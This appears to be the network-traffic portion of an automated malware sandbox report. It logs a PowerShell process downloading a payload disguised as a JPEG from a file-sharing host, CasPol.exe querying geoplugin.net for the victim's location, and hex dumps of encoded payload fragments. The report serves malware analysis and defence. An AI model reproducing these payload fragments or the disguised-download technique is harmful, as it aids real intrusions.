6f 44 43 36 51 67 4f 41 6b 44 2f 35 67 66 4f 30 6e 44 6f 7a 51 7a 4d 77 49 44 70 79 41 71 4d 45 4b 44 67 79 77 6e 4d 77 4a 44 57 79 67 6b 4d 34 49 44 4b 79 67 52 4d 6f 48 44 32 78 51 64 4d 51 48 44 7a 78 67 63 4d 45 48 44 77 78 77 62 4d 34 47 44 72 78 67 61 4d 6b 47 44 6f 78 77 5a 4d 59 47 44 6c 78 41 [TRUNCATED] Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwD+8gNP8yDn8wHPYxDT8wCPAsD57Q8OkuDg7A2O8sDH6AvOMrDr6woOspDR6giOQoDC6QgOAkD/5gfO0nDozQzMwIDpyAqMEKDgywnMwJDWygkM4IDKygRMoHD2xQdMQHDzxgcMEHDwxwbM4GDrxgaMkGDoxwZMYGDlxAZMMGDixgWMkFDYAAAAQCwBAAAAAADHwgAMAAAAAABAGAOAAAwPs/D5/w9PU/D0/g8P0+Dr/g5PQ+Di/A4P89De/Q3Pw9Da/Q2Pc9DS/A0Ps8DJ/wxPU4D8+guPg7D3+AsPg6Dn+AoPg5DQ+AiPA0D49AcPg2Dg9AWPA1DI9AAPgzDw8AKPAyDY8AEPgwDA7A+OAvDo7A4OgtDQ7AyOEsDA6gvOYrDu6gpO4pDW6gjOYkD+5gdO4mDt5gZO4lDX5AVOwkDE4APOQjDs4AJOwhDU4wDO0gDM4gCOggDG4QxN4fD93w8NEfDu3Q5NEeDg3g3NcdDW3A1NwcDL2gvNsbDz2AsN4aDp2wpNYaDl2woNEaDf2gmNgZDX2glNQZDS2AkNsYDJ2AhNIYDB2AQN4XD81geNUXDz1gcNAXDu1AbNsWDk1wYNMVDP1gQNAQD90QONwSDq0wJNMSDW0AFNERDN0AwM4PD7zw9MoODozQ5MEODUzg0M8MDLygvMwLD5yQtMgKDmywoMEKDfygkMAJDNywiMkED8xgeMcHD1xwcMYGDkxQYM0FDQxgTMsEDHwgOMgDAAB
Nov 20, 2024 17:18:45.308440924 CET	224	IN	Data Raw: 67 4a 41 47 41 4e 41 41 41 41 50 77 79 44 6d 38 41 4a 50 4d 79 44 69 38 67 48 50 30 78 44 5a 38 77 45 50 45 78 44 51 38 77 44 50 34 77 44 4e 38 41 44 50 67 77 44 48 38 77 77 4f 30 76 44 37 37 67 2b 4f 6b 76 44 34 37 77 39 4f 59 76 44 79 37 51 38 Data Ascii: gJAGANAAAAPwyDm8AJPMyDi8gHP0xDZ8wEPExDQ8wDP4wDN8ADPgwDH8wwO0vD77g+OkvD47w9OYvDy7Q8O0uDn7Q5OQuDj7g4OEuDd7A3OgtDS7A0O8sDO7QzOwsDI7wxOMoD96wuOorD56QtOQrDw6wrOsqDl6woOIqDe6AmOYpDV6AlOMpDP6QiOgoDC6AQO8nD+5QfOwnD45wdOMnDt5waOomDm5
Nov 20, 2024 17:18:45.308454990 CET	1236	IN	Data Raw: 51 5a 4f 45 6d 44 62 35 51 57 4f 67 6c 44 58 35 77 55 4f 49 6c 44 4f 35 41 53 4f 59 6b 44 46 35 41 52 4f 4d 6b 44 43 34 67 50 4f 30 6a 44 35 34 77 4d 4f 45 6a 44 77 34 77 4c 4f 34 69 44 71 34 51 4b 4f 55 69 44 66 34 51 48 4f 77 68 44 59 34 67 45 Data Ascii: QZOEmDb5QWOglDX5wUOIlDO5ASOYkDF5AROMkDC4gPO0jD54wMOEjDw4wLO4iDq4QKOUiDf4QHOwhDY4gEOAhDP4gDOogDJ4QxN8fD93A/NsfD63g9NUfDx3w6NkeDo3w5NYeDi3Q4N0dDX3Q1NQdDT3wzN4cDK3AxNIcDB3AgN8bD72guNYbDw2grN0aDs2AqNcaDj2QnNsZDa2glNUZDR2wiNkYDI2AhNMUD91AfNsXD61AZN
Nov 20, 2024 17:18:45.308470011 CET	1236	IN	Data Raw: 31 44 5a 39 77 56 50 55 31 44 54 39 51 55 50 38 30 44 4e 39 77 53 50 6b 30 44 48 39 51 52 50 4d 30 44 42 38 77 50 50 30 7a 44 37 38 51 4f 50 63 7a 44 31 38 77 4d 50 45 7a 44 76 38 51 4c 50 73 79 44 70 38 77 4a 50 55 79 44 6a 38 51 49 50 38 78 44 Data Ascii: 1DZ9wVPU1DT9QUP80DN9wSPk0DH9QRPM0DB8wPP0zD78QOPczD18wMPEzDv8QLPsyDp8wJPUyDj8QIP8xDd8wGPkxDX8QFPMxDR8wDP0wDL8QCPcwDF8wAPEsD/7Q/OsvD57w9OUvDz7Q8O8uDt7w6OkuDn7Q5OMuDh7w3O0tDb7Q2OctDV7w0OEtDP7QzOssDJ7wxOUsDD7QgO8rD96wuOkrD36QtOMrDx6wrO0qDr6QqOcqDl
Nov 20, 2024 17:18:45.308486938 CET	1236	IN	Data Raw: 77 52 50 59 30 44 45 39 67 41 41 41 41 41 58 41 55 41 73 41 73 44 69 37 51 34 4f 41 75 44 66 37 67 33 4f 30 74 44 63 37 77 32 4f 6f 74 44 5a 37 41 32 4f 63 74 44 57 37 51 31 4f 51 74 44 54 37 67 30 4f 45 74 44 51 37 77 7a 4f 34 73 44 4e 37 41 7a Data Ascii: wRPY0DE9gAAAAAXAUAsAsDi7Q4OAuDf7g3O0tDc7w2OotDZ7A2OctDW7Q1OQtDT7g0OEtDQ7wzO4sDN7AzOssDK7QyOgsDH7gxOUsDE7wwOIsDB7AgO8rD+6QvOwrD76guOkrD46wtOYrD16AtOMrDy6QsOArDv6grO0qDs6wqOoqDp6AqOcqDm6QpOQqDj6goOEqDg6wnO4pDd6AnOspDa6QmOgpDX6glOUpDU6wkOIpDR6AkO
Nov 20, 2024 17:18:45.308501959 CET	1236	IN	Data Raw: 76 44 78 37 77 37 4f 30 75 44 72 37 51 36 4f 63 75 44 6c 37 77 34 4f 45 75 44 66 37 51 33 4f 73 74 44 5a 37 77 31 4f 55 74 44 54 37 51 30 4f 38 73 44 4e 37 77 79 4f 6b 73 44 48 37 51 78 4f 4d 73 44 42 36 77 76 4f 30 72 44 37 36 51 75 4f 63 72 44 Data Ascii: vDx7w7O0uDr7Q6OcuDl7w4OEuDf7Q3OstDZ7w1OUtDT7Q0O8sDN7wyOksDH7QxOMsDB6wvO0rD76QuOcrD16wsOErDv6QrOsqDp6wpOUqDj6QoO8pDd6wmOkpDX6QlOMpDR6wjO0oDL6QiOcoDF6wgOEkD/5QfOsnD55wdOUnDz5QcO8mDt5waOkmDn5QZOMmDh5wXO0lDb5QWOclDV5wUOElDP5QTOskDJ5wROUkDD5QAO8jD9
Nov 20, 2024 17:18:45.308516979 CET	1236	IN	Data Raw: 49 34 4f 34 74 6a 62 37 55 32 4f 2b 73 6a 4e 37 38 68 4f 37 72 7a 76 36 45 6f 4f 45 70 44 43 35 6b 66 4f 71 6e 7a 74 35 38 4b 4f 72 6a 7a 34 34 73 4e 4f 54 69 6a 62 34 77 45 4f 6e 67 44 47 34 6b 77 4e 30 55 6a 35 31 34 54 4e 69 51 6a 62 30 45 46 Data Ascii: I4O4tjb7U2O+sjN78hO7rzv6EoOEpDC5kfOqnzt58KOrjz44sNOTijb4wEOngDG4kwN0Uj514TNiQjb0EFM1CzrwsJM9BzawYGAAAA8AUAYA8DE+wtPr6TR9oVPL1zP98SPS0jC8AOPZyTe80GPhxTT8E0Ofvz17k7OxuTq7E6OZujS74SOhmzl50WOghj/40OOnjj44wNO+iTt4wKOXizE3o/NyeDo3M5NIeDZ3QzNncTD2IqN
Nov 20, 2024 17:18:45.308532000 CET	1236	IN	Data Raw: 47 44 6d 78 73 47 4d 31 41 41 41 41 77 48 41 45 41 4e 41 2f 49 2f 50 52 2f 54 79 2f 45 37 50 64 36 44 30 2b 45 71 50 78 30 6a 35 39 34 64 50 69 31 7a 57 39 73 42 50 38 79 7a 6a 38 77 45 50 42 78 44 4f 38 51 78 4f 75 76 6a 35 37 63 34 4f 2f 74 7a Data Ascii: GDmxsGM1AAAAwHAEANA/I/PR/Ty/E7Pd6D0+EqPx0j594dPi1zW9sBP8yzj8wEPBxDO8QxOuvj57c4O/tzT74jORqDJ6QQOVnTz5UbOpmjY54UOUgDs4UGOchzU40DOxgzE4sAOAcz93E+NLfDk3U4N8dzS3MkN2aTp2UpNNaDf2wWNrVjF1YANpTTdzA8MZJT0yQoM5JTZygkMREzzx4JMiCzkwcIM3BjWwIFMoAAAAgKAEAMA
Nov 20, 2024 17:18:45.308590889 CET	1236	IN	Data Raw: 49 43 4e 58 4d 7a 2b 7a 45 2f 4d 57 50 54 30 7a 77 38 4d 42 50 6a 6a 7a 6f 32 4d 6c 4e 44 59 7a 55 31 4d 34 4d 44 46 79 41 75 4d 2f 4b 7a 70 79 49 71 4d 64 4b 6a 6b 79 41 6f 4d 65 4a 44 55 79 51 6b 4d 31 49 44 48 78 55 66 4d 74 48 6a 31 78 59 63 Data Ascii: ICNXMz+zE/MWPT0zw8MBPjjzo2MlNDYzU1M4MDFyAuM/KzpyIqMdKjkyAoMeJDUyQkM1IDHxUfMtHj1xYcMKGjgxUWMgFzWxYQMBAz7wgOMiDz2wELMXCzgwsHMvBjUwgEMlAzGwYAAAEAmAQAcA8T9/M9PJ/Dv/M7PZ+Di/M1PK9TO/0yPS8TA+wsPF7Dm+EZPY3DX9gEPMxTA7E9OguDU7MzOtoz760tOXjz23M7MxPTjxIGM
Nov 20, 2024 17:18:45.308609009 CET	1236	IN	Data Raw: 76 7a 4a 37 73 67 4f 79 71 44 6d 30 6b 31 4d 32 50 44 70 7a 41 36 4d 63 4f 44 6d 7a 51 35 4d 51 4f 44 6a 7a 67 34 4d 45 4f 44 67 7a 77 33 4d 34 4e 44 58 77 45 4b 41 41 41 41 50 41 4d 41 30 41 34 44 52 78 77 58 4d 34 46 44 64 78 41 58 4d 73 46 44 Data Ascii: vzJ7sgOyqDm0k1M2PDpzA6McODmzQ5MQODjzg4MEODgzw3M4NDXwEKAAAAPAMA0A4DRxwXM4FDdxAXMsFDaxQWMgBD1wwFMYBDVwAFMMBDSwQEMABAAAwCADAMA/Q7P88DO/QzPw8DL/gyPk8DI+cpPg4DH+ghPU4DE+wgPI4DB98GP4zD98APPszD68QOPgzD38MlO/qTr6soO2pjV6QUOngjaxgLM8AAAAQFADALA+AsPW0Tx
Nov 20, 2024 17:18:45.430066109 CET	1236	IN	Data Raw: 6f 77 50 45 34 6a 2f 2b 67 76 50 7a 37 54 37 2b 63 75 50 68 37 44 33 2b 59 74 50 51 37 6a 79 2b 55 73 50 2f 36 54 75 2b 4d 72 50 75 36 44 71 2b 49 71 50 63 36 7a 6c 2b 45 70 50 4b 36 54 68 2b 41 6f 50 36 35 44 64 2b 34 6d 50 70 35 7a 59 2b 30 6c Data Ascii: owPE4j/+gvPz7T7+cuPh7D3+YtPQ7jy+UsP/6Tu+MrPu6Dq+IqPc6zl+EpPK6Th+AoP65Dd+4mPp5zY+0lPX5jU+wkPG5DQ+sjP14zL+kiPk4jH+ghPS4TD+cgPB0z+9YfPw3j69QePf3T29MdPN3Dy9IcP82jt9EbPr2Tp98ZPa2Dl94YPI2zg90XP31Tc9wWPm1DY9oVPV1zT9kUPD1jP9gTPx0jK9QSPc0jD8kuOypza68lO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.7	49779	178.237.33.50	80	8052	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 17:18:50.131928921 CET	71	OUT	GET /json.gp HTTP/1.1 Host: geoplugin.net Cache-Control: no-cache
Nov 20, 2024 17:18:51.453716040 CET	1170	IN	HTTP/1.1 200 OK date: Wed, 20 Nov 2024 16:18:51 GMT server: Apache content-length: 962 content-type: application/json; charset=utf-8 cache-control: public, max-age=300 access-control-allow-origin: * Data Raw: 7b 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 71 75 65 73 74 22 3a 22 38 2e 34 36 2e 31 32 33 2e 37 35 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 73 74 61 74 75 73 22 3a 32 30 30 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 64 65 6c 61 79 22 3a 22 31 6d 73 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 72 65 64 69 74 22 3a 22 53 6f 6d 65 20 6f 66 20 74 68 65 20 72 65 74 75 72 6e 65 64 20 64 61 74 61 20 69 6e 63 6c 75 64 65 73 20 47 65 6f 4c 69 74 65 32 20 64 61 74 61 20 63 72 65 61 74 65 64 20 62 79 20 4d 61 78 4d 69 6e 64 2c 20 61 76 61 69 6c 61 62 6c 65 20 66 72 6f 6d 20 3c 61 20 68 72 65 66 3d 27 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 27 3e 68 74 74 70 73 3a 5c 2f 5c 2f 77 77 77 2e 6d 61 78 6d 69 6e 64 2e 63 6f 6d 3c 5c 2f 61 3e 2e 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 63 69 74 79 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f 70 6c 75 67 69 6e 5f 72 65 67 69 6f 6e 22 3a 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 22 67 65 6f [TRUNCATED] Data Ascii: { "geoplugin_request":"8.46.123.75", "geoplugin_status":200, "geoplugin_delay":"1ms", "geoplugin_credit":"Some of the returned data includes GeoLite2 data created by MaxMind, available from <a href='https:\/\/www.maxmind.com'>https:\/\/www.maxmind.com<\/a>.", "geoplugin_city":"New York", "geoplugin_region":"New York", "geoplugin_regionCode":"NY", "geoplugin_regionName":"New York", "geoplugin_areaCode":"", "geoplugin_dmaCode":"501", "geoplugin_countryCode":"US", "geoplugin_countryName":"United States", "geoplugin_inEU":0, "geoplugin_euVATrate":false, "geoplugin_continentCode":"NA", "geoplugin_continentName":"North America", "geoplugin_latitude":"40.7123", "geoplugin_longitude":"-74.0068", "geoplugin_locationAccuracyRadius":"20", "geoplugin_timezone":"America\/New_York", "geoplugin_currencyCode":"USD", "geoplugin_currencySymbol":"$", "geoplugin_currencySymbol_UTF8":"$", "geoplugin_currencyConverter":0}

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49713	142.215.209.78	443	7724	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 16:18:22 UTC	192	OUT	GET /api/file/get?filekey=2Aa_bWo9Reu45t7BU1kVgsd9pT9pgSSlvStGrnTICfFhmTKj3LC6SQtIcOc_T35w&pk_vid=fd4f614bb209c62c1730945176a0904f HTTP/1.1 Host: 1017.filemail.com Connection: Keep-Alive
2024-11-20 16:18:23 UTC	324	IN	HTTP/1.1 200 OK Content-Length: 2230233 Content-Type: image/jpeg Last-Modified: Thu, 07 Nov 2024 02:06:04 GMT Accept-Ranges: bytes ETag: 4bb5a8185f3b16880e3dcc573015c5d9 X-Transfer-ID: wxhdiueivoluihj Content-Disposition: attachment; filename=new_imagem.jpg Date: Wed, 20 Nov 2024 16:18:22 GMT Connection: close
2024-11-20 16:18:23 UTC	3719	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d 38 32 3c 2e 33 34 32 ff db 00 43 01 09 09 09 0c 0b 0c 18 0d 0d 18 32 21 1c 21 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 32 ff c0 00 11 08 04 38 07 80 03 01 22 00 02 11 01 03 11 01 ff c4 00 1c 00 00 02 03 01 01 01 01 00 00 00 00 00 00 00 00 00 03 04 01 02 05 00 06 07 08 ff c4 00 55 10 00 02 02 01 03 02 04 03 05 06 03 05 06 02 01 15 01 02 03 11 00 04 12 21 31 41 05 13 22 51 61 71 81 06 14 32 91 a1 07 23 42 b1 c1 Data Ascii: JFIFC $.' ",#(7),01444'9=82<.342C2!!222222222222222222222222222222222222222222222222228"U!1A"Qaq2#B
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: 61 7e f8 15 fb 43 e2 b1 21 8f 43 e1 e4 33 83 40 a9 fc 38 be 83 ec b3 eb 60 6d 46 b6 66 59 18 fa 6b 9e 30 3f 67 bc 14 cd 33 4f a8 57 0c 87 81 ef f5 cf 61 0b 34 76 ad f8 41 ae 7b 60 29 e1 9e 14 9e 1b 03 44 8a 18 5e e0 cd d7 09 2a bb a5 d9 b5 27 d2 38 c7 84 88 c6 b7 ad fb 5e 55 d5 5d 48 2c 0f 5e 9c 60 26 fb 21 8a e4 53 67 8e 05 f5 18 ab 6b dd 26 69 4e a0 96 54 09 1a aa ed 53 c5 10 c0 e2 da e5 95 d9 96 33 b8 df 42 dc 0c ce 7d 3c c8 68 ee e3 93 5c 8c 0d 57 f0 ed 06 b3 42 16 48 4f de 1d bd 2a 83 75 12 78 1f 0e 2f 32 75 3f 66 5d 21 96 3d 2b ca ce 42 ee 5e 36 92 3a 83 df 8c 14 52 48 cd b0 3b 2b 86 e7 92 3f eb 8f e9 75 7a ed 38 2f 16 a1 57 aa 32 df 26 cf 4a 3c fd 70 32 bc 0e 0d 6e 8b c4 c3 b0 29 1c 7f f7 a3 77 55 cf af e9 7c 5a 49 f4 4a 16 25 68 f6 8d b2 15 14 bc Data Ascii: a~C!C3@8`mFfYk0?g3OWa4vA{`)D^'8^U]H,^`&!Sgk&iNTS3B}<h\WBHOux/2u?f]!=+B^6:RH;+?uz8/W2&J<p2n)wU\|ZIJ%h
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: 48 c4 86 f7 3f 03 81 84 fa 49 e0 da e5 1a 3f 55 2f 3b 49 3e f9 b5 a5 d6 c3 06 88 41 24 c2 47 73 6c 0f aa 99 b2 de 37 36 f8 da 3f 21 88 46 07 7b 70 07 1d b1 0d 36 9d e2 58 b5 60 09 42 9f 52 8e 28 9e 07 ea 46 07 a9 56 b6 26 89 2b ec 78 e9 ed 92 5d 89 a2 68 66 46 97 c4 65 9b c4 8c 52 a8 89 69 86 c1 ef c7 5b 19 a3 a9 79 34 f0 86 8e 31 2b dd 6d 26 80 c0 30 00 59 20 57 b9 ca a9 de b6 18 b0 3d 3d b3 1d bc 4e 78 3c 18 cf 20 06 49 5b 6c 6b 5c 02 6e b9 f6 eb 87 9f 4d e2 6d 0f 99 0e b8 34 86 ed 55 56 af b8 07 03 40 09 37 72 48 f6 ac 29 91 c8 0c c0 0a 1c 57 7f 9e 23 e1 52 6a df 4b bf 56 de b2 68 02 a0 1f 6e d8 fb 80 c4 03 db 03 cc 78 9c 1a d8 b5 5a a7 d3 24 a2 19 54 bc ad b8 10 7d 26 f3 36 46 68 51 95 26 32 2b 9a 65 45 71 c0 e9 76 a0 7f 3c f5 fa d8 47 fb 2b 5a 47 4f Data Ascii: H?I?U/;I>A$Gsl76?!F{p6X`BR(FV&+x]hfFeRi[y41+m&0Y W==Nx< I[lk\nMm4UV@7rH)W#RjKVhnxZ$T}&6FhQ&2+eEqv<G+ZGO
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: ed 2f 88 88 f6 45 ab 52 07 3b 55 10 1f 95 01 81 8f 16 87 4d 0e 94 ba a1 27 f8 49 6c 1c ba 57 8f 4c b2 06 50 4f 6a e7 3d 07 88 ec f1 7d 17 df e2 4f 2a 64 94 2e a1 11 4e d2 08 f4 b5 d7 16 45 57 be 63 ea 9b 73 04 e4 8a ae 2b fa e0 66 3a ee 86 c1 b3 d0 8c 17 dd 9b 63 28 16 18 5d 7b 67 a9 7d 3f d9 b5 50 ac be 2a 03 73 e9 f2 c5 f0 3a 58 ca eb 7c 13 4e da 13 af f0 2d 44 ba 88 a2 03 ef 10 cd ff 00 7b 15 8f c5 b6 85 8f 88 f6 3e c7 03 c9 26 9b ca 05 49 e0 0b bf 7c e9 62 67 88 5a 31 65 1c 10 3b 7b 66 ab 03 e4 aa 3a 2f 99 7d 72 8f a5 6d cc 19 d3 72 ae e2 09 23 8e bf 5c 0c 54 0c d1 0d d6 1b bd f7 c9 88 38 9c 39 27 6a 8e 95 9a 6f a0 91 e6 55 52 80 32 ee 00 df 35 ce 28 90 32 44 fa 80 c9 4a 69 97 75 92 a7 8f a6 04 8d 42 ba b8 60 19 4b 28 04 76 eb 83 25 ba a1 dc 2f 82 07 Data Ascii: /ER;UM'IlWLPOj=}Od.NEWcs+f:c(]{g}?Ps:X\|N-D{>&I\|bgZ1e;{f:/}rmr#\T89'joUR25(2DJiuB`K(v%/
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: 96 61 55 f1 aa fa e7 2f 87 b4 70 69 75 b3 34 91 c8 8b 18 64 07 f0 f6 3f 21 57 66 f8 17 81 82 fa 79 74 f2 98 a5 55 dc bd 76 90 6b f2 ca 58 36 05 9f 7a c6 fe d5 7f d8 b5 71 49 a6 78 ff 00 7a a4 3a b2 d5 95 24 5f f6 f7 eb 98 71 78 ac 61 4d a3 2b 8f c4 07 f4 c0 da 5f 0c d6 16 8c 08 f6 87 1b 95 98 8a ae dd 31 f3 f6 69 59 43 99 cf 99 7d 42 8d a3 df 83 d7 07 e1 da 77 d4 e9 5f 53 2e 9d 67 59 11 4a 9d f7 b4 57 37 ec 40 24 fd 31 99 3c 5f 4f e0 9a 78 e0 d6 c8 5b 50 88 14 a2 7a 88 eb cb 0f e1 1d 39 c0 4a 7f 08 5d 1b 34 93 ce 86 28 dc 29 00 10 5b 8b ae 7d fe 18 b6 9b c3 9f 5e 9a 9d 4a 6d 8b 4e 84 aa 96 70 3e 9c 8e 78 cb 45 a5 d7 f8 ba ae a4 c2 eb 1a 90 11 59 7c bd ca 6c fa 41 e4 8f 8e 69 3f 86 cc 9e 01 26 95 c8 89 49 67 17 27 e1 02 8e da ae 7a 60 79 ef 1d d0 68 b4 40 Data Ascii: aU/piu4d?!WfytUvkX6zqIxz:$_qxaM+_1iYC}Bw_S.gYJW7@$1<_Ox[Pz9J]4()[}^JmNp>xEY\|lAi?&Ig'z`yh@
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: 43 0b 61 59 98 da 15 15 fb c0 38 e6 f1 8d 26 91 11 8b b3 9a fe 1f 63 80 74 64 91 37 2a 31 53 d8 e2 ba c6 52 9b 08 b6 3d 3d 58 cc 69 be 06 f2 de 81 04 0f cf 11 8b 46 fe 6d 93 5b 79 2d ef 81 a5 f6 71 1a 1f 1f d1 2c 8b e9 3b bf f2 b6 7b 0d 7a c2 61 91 19 f6 a1 16 c5 78 bc f2 fe 19 a9 8e 0f 12 86 66 f5 05 0c 47 d5 48 fe b8 ef 89 78 82 6a 0e c8 d7 68 61 ef d7 03 2e 17 d6 24 ad 1e 92 56 10 5d ed eb 79 bb a4 90 e9 e0 65 d4 10 c4 7a ac 62 30 4f a7 d2 45 60 1d c4 75 cb 9d 6c 5a 85 01 68 0e 87 8e 4e 06 79 95 df ed 67 9d 1a f4 e0 9f f8 30 7e 2d 3b 3e aa 75 2d 41 a0 5b 00 5d d3 dd 65 d6 45 4f b5 22 98 14 ab 3f f2 11 fd 71 7f 16 dc 75 92 b0 1b 6e 1b 00 71 63 76 06 87 8c 05 fb 94 70 84 11 c4 b2 52 92 a7 9f 4b 61 b4 33 28 f0 b8 5a 45 5a 54 5a bf 82 8c 17 8b cb 14 9a 2d Data Ascii: CaY8&ctd7*1SR==XiFm[y-q,;{zaxfGHxjha.$V]yezb0OE`ulZhNyg0~-;>u-A[]eEO"?qunqcvpRKa3(ZEZTZ-
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: 19 af a4 d1 ea 16 49 b5 12 6a 44 ac c4 b8 8c 9b 51 c9 ae 48 be d8 07 99 03 c5 2c 2c 68 32 b2 80 bd 79 07 90 6b ae 79 33 1c 53 b2 c8 4c 8a 1b cc de 18 ee 62 55 77 11 74 3a dd 7d 33 77 53 17 8c 3c 12 39 9b 4c bb 48 65 11 b1 05 76 8e 40 f4 f5 26 b3 cb 34 f3 12 0b 3b 5a b9 63 b8 72 59 b8 63 fa 60 13 50 90 23 40 c8 1f 64 8b b8 ef a1 43 73 0a e9 f0 c7 a0 4d 34 9a a8 24 57 68 43 cc c5 d8 90 ca 08 a2 a0 71 fe 6a cc b9 67 69 84 4b 56 51 4a dd f5 f5 16 fc b9 c3 27 88 49 1e 96 18 10 22 94 76 70 db 41 3c 80 39 e3 e1 81 ec 25 89 51 88 25 9a c5 9e 7e 3f 0e d8 34 28 cf b1 08 06 ae 8e 60 cf a4 f1 2d 44 c7 51 26 a2 17 62 80 1e eb 5e d5 55 91 1e 87 5e ae 5a 3d 6c 6a d5 43 6c 8c bc 7c 28 60 7a 38 f4 a1 98 ab 50 e0 ff 00 2c 34 2a 11 42 ec b2 78 bc f3 32 41 e2 ea ca 0e b9 89 Data Ascii: IjDQH,,h2yky3SLbUwt:}3wS<9LHev@&4;ZcrYc`P#@dCsM4$WhCqjgiKVQJ'I"vpA<9%Q%~?4(`-DQ&b^U^Z=ljCl\|(`z8P,4*Bx2A
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: 54 55 fa 81 37 96 d4 eb 24 fb c1 78 55 49 3a 76 91 9a 39 03 2e d1 63 93 b6 cf 4f 7c 1a 78 8c 8e 93 07 11 b4 b6 82 30 a4 21 90 30 a0 28 f7 e9 80 6f 1b d4 79 30 ed 54 57 f3 55 94 d8 ed 5d 6e fd f3 e7 9e 35 2b a0 11 59 a2 4f 4e fd 33 e8 5e 27 a6 33 69 c1 44 11 88 a3 67 63 cd 80 aa 68 7b 77 39 f3 8f 15 7f 32 73 62 88 ed f9 60 0f 4b aa 68 b4 b2 69 e4 41 24 4e 37 15 2c 46 d3 c1 bb 1f 2c e8 f5 12 69 22 91 12 32 93 b7 57 37 61 6a f8 07 a6 2a 80 b1 f5 38 8f 8e 2e e8 fe 58 de aa 36 32 09 02 12 bb 23 1b d8 1a bd 8b c7 23 01 ad 0e bd 34 7a 59 10 ab 19 0b 31 0e 2a 88 2b 54 7b f5 e7 15 82 59 20 25 e3 62 ac c2 8d 7b 5d e5 5f 4d 22 2a 99 11 95 5b d4 a4 ad 6e cb 32 88 c2 72 ad b8 5d 2f ce bf a6 01 d2 67 5d 5c 33 4c ec fb 1d 5b fe 10 7a 64 eb e6 4d 56 aa 49 93 76 d6 0a 40 Data Ascii: TU7$xUI:v9.cO\|x0!0(oy0TWU]n5+YON3^'3iDgch{w92sb`KhiA$N7,F,i"2W7aj8.X62##4zY1+T{Y %b{]_M"*[n2r]/g]\3L[zdMVIv@
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: 8a 28 34 df 1a c0 45 e1 b7 02 c9 07 b9 c3 1f 0f 55 50 c5 e8 9e 98 63 a6 90 96 21 49 0b f8 98 0e 07 d7 2a 60 63 c9 fa 60 5f c3 34 4c 35 8a e4 f0 2f 68 f7 e0 e6 d1 de aa ca 52 ef a1 f6 c5 bc 31 37 6b 34 b6 3f c4 2f fe 1c df 68 d2 e8 d1 c0 c5 8b 4e d4 c5 c5 83 db 10 13 3b 4e ea 84 2a a9 f6 eb 9e 8d c0 5b 00 0e 73 3d b4 a9 6c c1 28 9e b8 1e 76 75 0d e2 e5 b6 02 09 5a 07 e4 32 ba dd 2e c9 03 06 e5 95 8f ab b5 01 8e 6a 60 d9 e2 d4 05 fe 1f e4 32 de 21 18 06 2d e2 ed 5a 8f c6 b8 c0 46 70 cd e1 f1 a2 90 17 68 35 c7 aa ab af e7 8c 78 06 9d 5d e5 76 65 34 bb 76 b7 43 95 78 83 78 7b 12 a3 d2 c0 29 06 b9 a5 07 fa e1 7c 28 c3 19 65 76 2b 29 61 b6 81 37 7c 7f 5c 04 bc 41 25 87 5d 16 f4 8c 32 a8 2a b1 72 28 31 f7 cd 3d 64 03 69 76 92 71 bb d3 b4 30 0a 38 ef c6 27 e2 ab Data Ascii: (4EUPc!I`c`_4L5/hR17k4?/hN;N[s=l(vuZ2.j`2!-ZFph5x]ve4vCxx{)\|(ev+)a7\|\A%]2*r(1=divq08'
2024-11-20 16:18:23 UTC	8192	IN	Data Raw: a8 5d c5 95 94 5f 03 76 e0 4f f2 ff 00 87 3a 10 95 24 93 ac 85 59 58 23 21 00 06 1c 8e 3d ac 8f cf 15 77 2e cc cc 6c 93 66 85 5e 05 c6 dd a4 ee 50 2d 7d fd 8e 18 6a 21 54 e0 7f 19 3b 41 20 d5 11 d7 eb 89 76 eb 91 58 0d 3c 81 82 aa 05 04 6e e9 7d 08 f8 e1 a0 96 34 68 dc 95 b0 56 e8 10 78 20 f2 3a 11 43 b7 38 87 d7 0b 02 87 99 11 88 00 b0 04 93 54 30 1d d4 4f 13 ce cc 0a 12 5c 37 01 8d ed be 0d fb fc 30 0d 2a f9 d1 48 68 81 b4 ba 8b ea 38 3f 98 17 f5 c0 48 8c 8c ca c2 98 1a 3c df c7 05 58 1a 49 3c 40 20 b5 4a 0e 4e c0 c7 aa d0 06 fb df d3 20 48 8f 13 2f 99 c2 c5 44 80 7a 97 07 